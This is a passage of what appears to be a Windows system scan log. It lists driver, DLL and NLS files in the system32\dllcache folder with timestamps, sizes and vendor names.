      2017-10-29 11:06 - 2001-08-17 13:50 - 000114944 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\epstw2k.sys
      2017-10-29 11:06 - 2001-08-17 13:47 - 000023808 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dot4usb.sys
      2017-10-29 11:06 - 2001-08-17 13:47 - 000012928 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dot4prt.sys
      2017-10-29 11:06 - 2001-08-17 13:47 - 000008704 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dot4scan.sys
      2017-10-29 11:06 - 2001-08-17 13:28 - 000634134 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el656ct5.sys
      2017-10-29 11:06 - 2001-08-17 13:28 - 000595647 ____C (ESS Technology, Inc.) C:\WINDOWS\system32\dllcache\es56cvmp.sys
      2017-10-29 11:06 - 2001-08-17 13:28 - 000594238 ____C (ESS Technology, Inc.) C:\WINDOWS\system32\dllcache\es56hpi.sys
      2017-10-29 11:06 - 2001-08-17 13:28 - 000347550 ____C (ESS Technology, Inc.) C:\WINDOWS\system32\dllcache\es56tpi.sys
      2017-10-29 11:06 - 2001-08-17 13:28 - 000241206 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el656se5.sys
      2017-10-29 11:06 - 2001-08-17 12:20 - 000334208 ____C (Yamaha Corp.) C:\WINDOWS\system32\dllcache\ds1wdm.sys
      2017-10-29 11:06 - 2001-08-17 12:19 - 000283904 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\emu10k1m.sys
      2017-10-29 11:06 - 2001-08-17 12:19 - 000174464 ____C (ESS Technology, Inc.) C:\WINDOWS\system32\dllcache\es198x.sys
      2017-10-29 11:06 - 2001-08-17 12:19 - 000072192 ____C (ESS Technology Inc.) C:\WINDOWS\system32\dllcache\es1969.sys
      2017-10-29 11:06 - 2001-08-17 12:19 - 000063360 ____C (ESS Technology, Inc.) C:\WINDOWS\system32\dllcache\ess.sys
      2017-10-29 11:06 - 2001-08-17 12:19 - 000040704 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\es1371mp.sys
      2017-10-29 11:06 - 2001-08-17 12:19 - 000037120 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\es1370mp.sys
      2017-10-29 11:06 - 2001-08-17 12:17 - 000629952 ____C (Equinox Systems Inc.) C:\WINDOWS\system32\dllcache\eqn.sys
      2017-10-29 11:06 - 2001-08-17 12:17 - 000090525 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digifep5.sys
      2017-10-29 11:06 - 2001-08-17 12:17 - 000042432 ____C (Digi International, Inc.) C:\WINDOWS\system32\dllcache\digirlpt.sys
      2017-10-29 11:06 - 2001-08-17 12:17 - 000029531 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\dgapci.sys
      2017-10-29 11:06 - 2001-08-17 12:14 - 000952007 ____C (Eicon Technology) C:\WINDOWS\system32\dllcache\diwan.sys
      2017-10-29 11:06 - 2001-08-17 12:14 - 000021606 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digiisdn.sys
      2017-10-29 11:06 - 2001-08-17 12:13 - 000103044 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digidxb.sys
      2017-10-29 11:06 - 2001-08-17 12:13 - 000091305 ____C (Eicon Technology) C:\WINDOWS\system32\dllcache\dimaint.sys
      2017-10-29 11:06 - 2001-08-17 12:13 - 000037735 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digiasyn.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000117760 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\e100b325.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000063208 ____C (Intel Corporation.) C:\WINDOWS\system32\dllcache\dc21x4.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000050719 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\e1000nt5.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000028062 ____C (National Semiconductor Coproration) C:\WINDOWS\system32\dllcache\dp83820.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000024618 ____C (NETGEAR) C:\WINDOWS\system32\dllcache\fa410nd5.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000019594 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\e100isa4.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000018503 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\epro4.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000016998 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\ex10.sys
      2017-10-29 11:06 - 2001-08-17 12:12 - 000016074 ____C (NETGEAR Corp.) C:\WINDOWS\system32\dllcache\fa312nd5.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000455199 ____C (3Com Corporation.) C:\WINDOWS\system32\dllcache\el985n51.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000171520 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el99xn51.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000153631 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el90xnd5.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000077386 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el656nd5.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000070174 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el98xn5.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000069194 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el656cd5.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000066591 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el90xbc5.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000029696 ____C (CNet Technology, Inc. ) C:\WINDOWS\system32\dllcache\dm9pci5.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000026698 ____C (D-Link Corporation) C:\WINDOWS\system32\dllcache\dlh5xnd5.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000024649 ____C (D-Link) C:\WINDOWS\system32\dllcache\dfe650d.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000024648 ____C (D-Link) C:\WINDOWS\system32\dllcache\dfe650.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000020928 ____C (Digital Networks, LLC) C:\WINDOWS\system32\dllcache\defpa.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000012362 ____C (FUJITSU LIMITED) C:\WINDOWS\system32\dllcache\f3ab18xi.sys
      2017-10-29 11:06 - 2001-08-17 12:11 - 000011850 ____C (FUJITSU LIMITED) C:\WINDOWS\system32\dllcache\f3ab18xj.sys
      2017-10-29 11:06 - 2001-08-17 12:10 - 000069692 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el575nd5.sys
      2017-10-29 11:06 - 2001-08-17 12:10 - 000055999 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el556nd5.sys
      2017-10-29 11:06 - 2001-08-17 12:10 - 000044103 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el515.sys
      2017-10-29 11:06 - 2001-08-17 12:10 - 000026141 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el589nd5.sys
      2017-10-29 11:06 - 2001-08-17 12:10 - 000025159 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\elnk3.sys
      2017-10-29 11:06 - 2001-08-17 12:10 - 000024653 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\el574nd4.sys
      2017-10-29 11:06 - 2001-08-17 12:10 - 000019996 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\em556n4.sys
      2017-10-29 11:05 - 2008-08-21 14:00 - 001677824 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\chsbrkr.dll
      2017-10-29 11:05 - 2008-08-21 14:00 - 000838144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\chtbrkr.dll
      2017-10-29 11:05 - 2008-08-21 14:00 - 000195618 ____C C:\WINDOWS\system32\dllcache\c_10002.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000189986 ____C C:\WINDOWS\system32\dllcache\c_1361.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000187938 ____C C:\WINDOWS\system32\dllcache\c_20005.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000186402 ____C C:\WINDOWS\system32\dllcache\c_20001.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000185378 ____C C:\WINDOWS\system32\dllcache\c_20003.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000180770 ____C C:\WINDOWS\system32\dllcache\c_20932.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000180258 ____C C:\WINDOWS\system32\dllcache\c_20004.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000180258 ____C C:\WINDOWS\system32\dllcache\c_20000.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000177698 ____C C:\WINDOWS\system32\dllcache\c_20949.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000177698 ____C C:\WINDOWS\system32\dllcache\c_10003.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000173602 ____C C:\WINDOWS\system32\dllcache\c_20936.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000173602 ____C C:\WINDOWS\system32\dllcache\c_20002.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000173602 ____C C:\WINDOWS\system32\dllcache\c_10008.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000162850 ____C C:\WINDOWS\system32\dllcache\c_10001.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000082172 ____C C:\WINDOWS\system32\dllcache\bopomofo.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066728 ____C C:\WINDOWS\system32\dllcache\big5.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066594 ____C C:\WINDOWS\system32\dllcache\c_864.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066594 ____C C:\WINDOWS\system32\dllcache\c_862.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066594 ____C C:\WINDOWS\system32\dllcache\c_858.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066594 ____C C:\WINDOWS\system32\dllcache\c_720.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_870.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_708.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_28596.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_21027.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_21025.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20924.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20880.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20871.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20838.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20833.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20424.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20423.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20420.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20297.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20290.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20285.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20284.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20280.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20278.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20277.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20273.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20269.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20108.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20107.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20106.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_20105.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1149.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1148.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1147.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1146.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1145.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1144.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1143.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1142.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1141.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1140.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_1047.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_10021.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_10005.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000066082 ____C C:\WINDOWS\system32\dllcache\c_10004.nls
      2017-10-29 11:05 - 2008-08-21 14:00 - 000056320 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\convlog.exe
      2017-10-29 11:05 - 2008-08-21 14:00 - 000054528 ____C (Philips Semiconductors GmbH) C:\WINDOWS\system32\dllcache\cap7146.sys
      2017-10-29 11:05 - 2008-08-21 14:00 - 000045568 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\browscap.dll
      2017-10-29 11:05 - 2008-08-21 14:00 - 000033792 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\controt.dll
      2017-10-29 11:05 - 2008-08-21 14:00 - 000020480 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\counters.dll
      2017-10-29 11:05 - 2008-08-21 14:00 - 000018944 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cprofile.exe
      2017-10-29 11:05 - 2008-08-21 14:00 - 000015872 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\chgport.exe
      2017-10-29 11:05 - 2008-08-21 14:00 - 000014336 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\chgusr.exe
      2017-10-29 11:05 - 2008-08-21 14:00 - 000013312 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\chglogon.exe
      2017-10-29 11:05 - 2008-08-21 14:00 - 000010752 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\c_iscii.dll
      2017-10-29 11:05 - 2008-08-21 14:00 - 000009728 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\change.exe
      2017-10-29 11:05 - 2008-08-21 14:00 - 000009216 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\authfilt.dll
      2017-10-29 11:05 - 2008-08-21 14:00 - 000006656 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\c_is2022.dll
      2017-10-29 11:05 - 2008-04-14 05:42 - 000018432 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\bdaplgin.ax
      2017-10-29 11:05 - 2008-04-14 05:41 - 000249856 ____C (Comtrol® Corporation) C:\WINDOWS\system32\dllcache\ctmasetp.dll
      2017-10-29 11:05 - 2008-04-14 05:41 - 000121856 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camext30.dll
      2017-10-29 11:05 - 2008-04-14 00:16 - 000038912 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\avc.sys
      2017-10-29 11:05 - 2008-04-14 00:16 - 000013696 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\avcstrm.sys
      2017-10-29 11:05 - 2008-04-14 00:16 - 000011776 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\bdasup.sys
      2017-10-29 11:05 - 2008-04-14 00:11 - 000008192 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\changer.sys
      2017-10-29 11:05 - 2008-04-14 00:06 - 000014208 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\battc.sys
      2017-10-29 11:05 - 2008-04-14 00:06 - 000013952 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cmbatt.sys
      2017-10-29 11:05 - 2008-04-14 00:06 - 000010240 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\compbatt.sys
      2017-10-29 11:05 - 2008-04-13 22:06 - 000048640 ____C (Crystal Semiconductor Corp.) C:\WINDOWS\system32\dllcache\cwrwdm.sys
      2017-10-29 11:05 - 2001-08-17 22:37 - 000244224 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camext20.ax
      2017-10-29 11:05 - 2001-08-17 22:37 - 000116736 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camext30.ax
      2017-10-29 11:05 - 2001-08-17 22:37 - 000073216 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camexo20.ax
      2017-10-29 11:05 - 2001-08-17 22:36 - 000236032 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camext20.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000216064 ____C (COMPAQ Inc.) C:\WINDOWS\system32\dllcache\cpscan.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000175104 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\csamsp.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000144384 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\avmenum.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000102400 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\binlsvc.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000087552 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\avmcoxp.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000081408 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\brmfcwia.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000074240 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camexo20.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000044032 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cnusd.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000041472 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brmfusb.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000032256 ____C (Eicon Technology Corporation) C:\WINDOWS\system32\dllcache\diapi2NT.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000032256 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brmfrsmg.exe
      2017-10-29 11:05 - 2001-08-17 22:36 - 000029696 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brmflpt.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000028672 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cyycoins.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000027648 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cyzports.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000027648 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cyyports.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000027136 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cyzcoins.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000019456 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brbidiif.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000015360 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brmfbidi.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000012800 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brevif.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000009728 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brserif.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000009728 ____C (Brother Industries Ltd.) C:\WINDOWS\system32\dllcache\brcoinst.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000005120 ____C (Brother Industries,Ltd.) C:\WINDOWS\system32\dllcache\brscnrsm.dll
      2017-10-29 11:05 - 2001-08-17 22:36 - 000004096 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\ctwdm32.dll
      2017-10-29 11:05 - 2001-08-17 14:56 - 000342336 ____C (3Dfx Interactive, Inc.) C:\WINDOWS\system32\dllcache\banshee.dll
      2017-10-29 11:05 - 2001-08-17 14:56 - 000170880 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cl546x.dll
      2017-10-29 11:05 - 2001-08-17 14:56 - 000111232 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cl5465.dll
      2017-10-29 11:05 - 2001-08-17 14:56 - 000091264 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cirrus.dll
      2017-10-29 11:05 - 2001-08-17 14:05 - 000314752 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camdro21.sys
      2017-10-29 11:05 - 2001-08-17 14:04 - 000223232 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camdrv21.sys
      2017-10-29 11:05 - 2001-08-17 14:04 - 000171264 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\camdrv30.sys
      2017-10-29 11:05 - 2001-08-17 14:02 - 000272640 ____C (RAVISENT Technologies Inc.) C:\WINDOWS\system32\dllcache\cinemclc.sys
      2017-10-29 11:05 - 2001-08-17 14:01 - 000036096 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\avcaudio.sys
      2017-10-29 11:05 - 2001-08-17 13:57 - 000248064 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cl546xm.sys
      2017-10-29 11:05 - 2001-08-17 13:57 - 000045696 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cirrus.sys
      2017-10-29 11:05 - 2001-08-17 13:52 - 000179584 ____C (Mylex Corporation) C:\WINDOWS\system32\dllcache\dac2w2k.sys
      2017-10-29 11:05 - 2001-08-17 13:52 - 000014976 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cpqarray.sys
      2017-10-29 11:05 - 2001-08-17 13:52 - 000014720 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dac960nt.sys
      2017-10-29 11:05 - 2001-08-17 13:52 - 000007680 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cd20xrnt.sys
      2017-10-29 11:05 - 2001-08-17 13:51 - 000020736 ____C (OMNIKEY AG) C:\WINDOWS\system32\dllcache\cmbp0wdm.sys
      2017-10-29 11:05 - 2001-08-17 13:51 - 000013824 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\bulltlp3.sys
      2017-10-29 11:05 - 2001-08-17 13:51 - 000006656 ____C (CMD Technology, Inc.) C:\WINDOWS\system32\dllcache\cmdide.sys
      2017-10-29 11:05 - 2001-08-17 13:50 - 000050176 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cyyport.sys
      2017-10-29 11:05 - 2001-08-17 13:50 - 000049792 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cyzport.sys
      2017-10-29 11:05 - 2001-08-17 13:50 - 000017152 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cyclad-z.sys
      2017-10-29 11:05 - 2001-08-17 13:50 - 000014848 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cyclom-y.sys
      2017-10-29 11:05 - 2001-08-17 13:28 - 000871388 ____C (BCM) C:\WINDOWS\system32\dllcache\bcmdm.sys
      2017-10-29 11:05 - 2001-08-17 13:28 - 000714698 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\cbmdmkxx.sys
      2017-10-29 11:05 - 2001-08-17 13:12 - 000060416 ____C (Brother Industries Ltd.) C:\WINDOWS\system32\dllcache\brserwdm.sys
      2017-10-29 11:05 - 2001-08-17 13:12 - 000039552 ____C (Brother Industries Ltd.) C:\WINDOWS\system32\dllcache\brparwdm.sys
      2017-10-29 11:05 - 2001-08-17 13:12 - 000012160 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brfiltlo.sys
      2017-10-29 11:05 - 2001-08-17 13:12 - 000011008 ____C (Brother Industries Ltd.) C:\WINDOWS\system32\dllcache\brusbmdm.sys
      2017-10-29 11:05 - 2001-08-17 13:12 - 000010368 ____C (Brother Industries Ltd.) C:\WINDOWS\system32\dllcache\brusbscn.sys
      2017-10-29 11:05 - 2001-08-17 13:12 - 000003968 ____C (Brother Industries, Ltd.) C:\WINDOWS\system32\dllcache\brfiltup.sys
      2017-10-29 11:05 - 2001-08-17 13:12 - 000003168 ____C (Brother Industries Ltd.) C:\WINDOWS\system32\dllcache\brparimg.sys
      2017-10-29 11:05 - 2001-08-17 13:12 - 000002944 ____C (Brother Industries Ltd.) C:\WINDOWS\system32\dllcache\brfilt.sys
      2017-10-29 11:05 - 2001-08-17 12:48 - 000036128 ____C (3Dfx Interactive, Inc.) C:\WINDOWS\system32\dllcache\banshee.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000111872 ____C (Crystal Semiconductor Corp.) C:\WINDOWS\system32\dllcache\cwcspud.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000096256 ____C (Copyright (C) Creative Technology Ltd. 1994-2001) C:\WINDOWS\system32\dllcache\ctlsb16.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000093952 ____C (Crystal Semiconductor Corp.) C:\WINDOWS\system32\dllcache\cwcwdm.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000072832 ____C (Crystal Semiconductor Corp.) C:\WINDOWS\system32\dllcache\cwbwdm.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000042112 ____C (Conexant Systems Inc.) C:\WINDOWS\system32\dllcache\crtaud.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000036992 ____C (Aztech Systems Ltd) C:\WINDOWS\system32\dllcache\aztw2320.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000006912 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\ctlfacem.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000003712 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\ctljystk.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000003584 ____C (Crystal Semiconductor Corp.) C:\WINDOWS\system32\dllcache\cwcosnt5.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000003072 ____C (Crystal Semiconductor Corp.) C:\WINDOWS\system32\dllcache\cwbmidi.sys
      2017-10-29 11:05 - 2001-08-17 12:19 - 000003072 ____C (Crystal Semiconductor Corp.) C:\WINDOWS\system32\dllcache\cwbase.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000980034 ____C (Xircom) C:\WINDOWS\system32\dllcache\cicap.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000164923 ____C (Eicon Technology) C:\WINDOWS\system32\dllcache\diapi2.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000089952 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\b1cbase.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000049182 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\cem56n5.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000046108 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\cben5.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000037568 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\avmwan.sys
